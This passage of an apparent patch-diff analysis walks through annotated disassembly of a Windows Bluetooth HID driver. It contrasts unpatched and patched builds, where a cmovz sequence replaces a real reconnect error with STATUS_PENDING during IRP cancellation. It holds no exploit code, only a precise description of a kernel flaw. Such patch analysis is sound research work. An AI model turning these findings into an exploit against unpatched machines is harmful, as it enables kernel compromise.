&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BCF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; success → return prior ebp&lt;/span&gt;

&lt;span class="c1"&gt;; --- ERROR PATH: reconnect work-item queue failed ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; arg2 = IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; arg1 = list/state struct&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;HidBthDequeueIrp&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; try to reclaim IRP from list&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BDE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; al=1 reclaimed / al=0 cancel path owns it&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; ebp = real error status&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; eax = STATUS_PENDING&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; al==0 → ebp := 0x103  (override)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BEA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; → return&lt;/span&gt;

&lt;span class="c1"&gt;; --- alternate path: ctx[0x5a6] != 0 ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BEC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B000Bh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BF3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BF5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;A7h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15b&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BFC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C08&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BFE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;HidBthConnectToDevice&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C06&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;

&lt;span class="c1"&gt;; --- presence-notify path ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C08&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C0C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireSpinLockRaiseToDpc&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C13&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C18&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="no"&gt;FCh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C1E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C22&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C2B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C30&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C34&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; DeviceObject&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C38&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;HidBthNotifyPresence&lt;/span&gt;

&lt;span class="c1"&gt;; --- epilogue ---&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C3F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C44&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; eax = return status  ← caller reads this&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C46&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C4B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;58&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;arg_10&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C50&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C58&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C5A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C5C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005C5D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Side-by-side error path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ─────── UNPATCHED ───────                        ; ─────── PATCHED ───────&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BCD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BCD  mov ebp, eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BCF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BCF  test eax, eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BD1  jns  loc_1C0005C33&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BD3  mov rdx, r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BD6  mov rcx, rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BD9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;HidBthDequeueIrp&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; 00000001C0005BD9  call HidBthDequeueIrp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BDE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; override  ; 00000001C0005BDE  jmp  loc_1C0005C33   ; just return&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BE7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; override&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0005BEA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;loc_1C0005C3F&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The delta is the removal of the &lt;code&gt;test/mov/cmovz&lt;/code&gt; sequence. In the patched build &lt;code&gt;ebp&lt;/code&gt; already holds the genuine error from &lt;code&gt;HidBthConnectToDevice (sub_1C0003AEC)&lt;/code&gt; (via &lt;code&gt;mov ebp, eax&lt;/code&gt; at &lt;code&gt;0x1c0005bcd&lt;/code&gt;), and the reconnect-failure path collapses to a direct &lt;code&gt;jmp&lt;/code&gt; to the epilogue.&lt;/p&gt;
&lt;h3&gt;Supporting evidence — &lt;code&gt;HidBthDequeueIrp (sub_1C0002018)&lt;/code&gt; ownership handshake&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;HidBthDequeueIrp&lt;/code&gt; is identical in both builds. Its return value is the cancel-ownership arbiter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00020CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; rax = 0&lt;/span&gt;
